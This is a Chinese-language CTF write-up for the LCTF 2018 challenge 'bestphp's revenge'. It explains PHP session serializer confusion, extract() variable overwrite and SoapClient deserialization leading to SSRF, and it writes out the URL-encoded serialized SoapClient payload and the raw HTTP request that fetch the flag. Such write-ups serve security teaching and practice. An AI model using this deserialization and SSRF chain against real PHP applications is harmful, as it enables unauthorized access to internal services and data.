CTF Web安全

LCTF bestphp’s revenge(SOAP反序列化)

Posted on 2020-01-26,5 min read

index.php

 <?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
    $_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>

#flag.php

session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
       $_SESSION['flag'] = $flag;
   }
only localhost can get flag!

这个题需要的知识点有点多。
1.Session在写入和读取时。都会进行序列化/反序列化
2.利用soap进行SSRF
3.call_user_func的调用
首先了解下什么是SOAP

SOAP(简单对象访问协议)用来链接Web服务/客户端和Web服务之间的接口。采用HTTP协议作为底层通讯协议。XML作为数据传输的格式

这里我用phpstudy的环境。自己安装的死活找不到SOAP

<?php
$a = new SoapClient(null,array('uri'=>'http://192.168.0.159:8080', 'location'=>'http://192.168.0.159:8080'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();
?>

当调用Soap一个不存在的函数时。触发内置函数中的__CALL魔法函数。就会造成SSRF

第一次调用

?f=session_start&name=|O%3A10%3A%22SoapClient%22%3A3%3A%7Bs%3A3%3A%22uri%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
POST:serialize_handler=php_serialize

将默认解析Session的php引擎变成了php_serialize引擎
session的name值就为|O:10:"SoapClient":3:{s:3:"uri";s:25:"http://127.0.0.1/flag.php";s:8:"location";s:25:"http://127.0.0.1/flag.php";s:13:"_soap_version";i:1;}
以序列化的形式。存入了/tmp/xxxx。修改引擎是在最后一行代码
所以。这里还是由PHP引擎传入的序列化session内容

name|s:139:"|O:10:"SoapClient":3:{s:3:"uri";s:25:"http://127.0.0.1/flag.php";s:8:"location";s:25:"http://127.0.0.1/flag.php";s:13:"_soap_version";i:1;}";


再正常访问一下。由于Session在读取的时候会反序列化。而我们已经将解析引擎变成了php_serialize
会以|作为分割
所以将以下的内容反序列化

O:10:"SoapClient":3:{s:3:"uri";s:25:"http://127.0.0.1/flag.php";s:8:"location";s:25:"http://127.0.0.1/flag.php";s:13:"_soap_version";i:1;}

成为一个Soap对象

现在Session里存的。时一个soap对象
第二次访问:

POST /?f=extract HTTP/1.1
Host: 192.168.75.130:23333
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=riddlertest
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 16

b=call_user_func

用extract变量覆盖。call_user_func(call_user_func(array($_SESSION,'xxxxxxctf')))
等同于
call_user_func(array($_SESSION,'xxxxxxctf'))
当call_user_func函数的第一个参数是数组时。会将数组的第一个值当做类。第二个值作为类中的函数
调用的时SESSION>xxxxxctf_SESSION的第一个内容->xxxxxctf函数 在第一步中。_SESSION的值就是SOAP对象。所以这里调用了SOAP对象的xxxxctf。由于没有xxxxctf这个函数。所以导致触发了SOAP的魔法函数。造成SSRF。
第一次中。我们已经将SOAP反序列化。成功赋值了。这里直接调用
。由于SOAP造成SSRF访问了flag.php。SOAP就有了一个PHPSESSID。并且SOAP函数内。多了很多内置的值

在flag.php。会将flag赋值给$_SESSION['flag']
只要我们将session替换。然后进入index.php。index.php会var_dump($_SESSION)
将flag输出

下一篇: [NCTF2019]SQLi(regexp注入)→